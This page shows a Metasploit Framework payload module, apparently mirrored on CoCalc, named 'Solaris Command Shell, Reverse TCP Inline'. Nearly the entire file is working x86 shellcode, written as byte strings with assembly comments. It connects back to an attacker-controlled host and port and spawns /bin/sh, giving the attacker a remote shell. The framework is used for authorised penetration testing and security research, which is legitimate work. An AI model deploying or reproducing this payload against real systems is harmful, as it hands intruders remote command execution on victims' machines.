CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb
Views: 11778
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 91
10
11
include Msf::Payload::Single
12
include Msf::Payload::Solaris
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Solaris Command Shell, Reverse TCP Inline',
18
'Description' => 'Connect back to attacker and spawn a command shell',
19
'Author' => 'Ramon de C Valle',
20
'License' => MSF_LICENSE,
21
'Platform' => 'solaris',
22
'Arch' => ARCH_X86,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' =>
26
{
27
'Offsets' =>
28
{
29
'LHOST' => [ 15, 'ADDR' ],
30
'LPORT' => [ 21, 'n' ],
31
},
32
'Payload' =>
33
"\x68\xff\xd8\xff\x3c" + # pushl $0x3cffd8ff #
34
"\x6a\x65" + # pushl $0x65 #
35
"\x89\xe6" + # movl %esp,%esi #
36
"\xf7\x56\x04" + # notl 0x04(%esi) #
37
"\xf6\x16" + # notb (%esi) #
38
"\x68\x7f\x01\x01\x01" + # pushl $0x0101017f #
39
"\x66\x68\x04\xd2" + # pushw $0xd204 #
40
"\x66\x6a\x02" + # pushw $0x02 #
41
"\x89\xe7" + # movl %esp,%edi #
42
"\x6a\x02" + # pushl $0x02 #
43
"\x31\xc0" + # xorl %eax,%eax #
44
"\x50" + # pushl %eax #
45
"\x50" + # pushl %eax #
46
"\x6a\x02" + # pushl $0x02 #
47
"\x6a\x02" + # pushl $0x02 #
48
"\xb0\xe6" + # movb $0xe6,%al #
49
"\xff\xd6" + # call *%esi #
50
"\x6a\x10" + # pushl $0x10 #
51
"\x57" + # pushl %edi #
52
"\x50" + # pushl %eax #
53
"\x31\xc0" + # xorl %eax,%eax #
54
"\xb0\xeb" + # movb $0xeb,%al #
55
"\xff\xd6" + # call *%esi #
56
"\x5b" + # popl %ebx #
57
"\x53" + # pushl %ebx #
58
"\x6a\x09" + # pushl $0x09 #
59
"\x53" + # pushl %ebx #
60
"\x6a\x3e" + # pushl $0x3e #
61
"\x58" + # popl %eax #
62
"\xff\xd6" + # call *%esi #
63
"\xff\x4f\xe0" + # decl -0x20(%edi) #
64
"\x79\xf6" + # jns <cntsockcode+57> #
65
"\x50" + # pushl %eax #
66
"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
67
"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
68
"\x89\xe3" + # movl %esp,%ebx #
69
"\x50" + # pushl %eax #
70
"\x53" + # pushl %ebx #
71
"\x89\xe1" + # movl %esp,%ecx #
72
"\x50" + # pushl %eax #
73
"\x51" + # pushl %ecx #
74
"\x53" + # pushl %ebx #
75
"\xb0\x3b" + # movb $0x3b,%al #
76
"\xff\xd6" # call *%esi #
77
}
78
))
79
end
80
end
81
82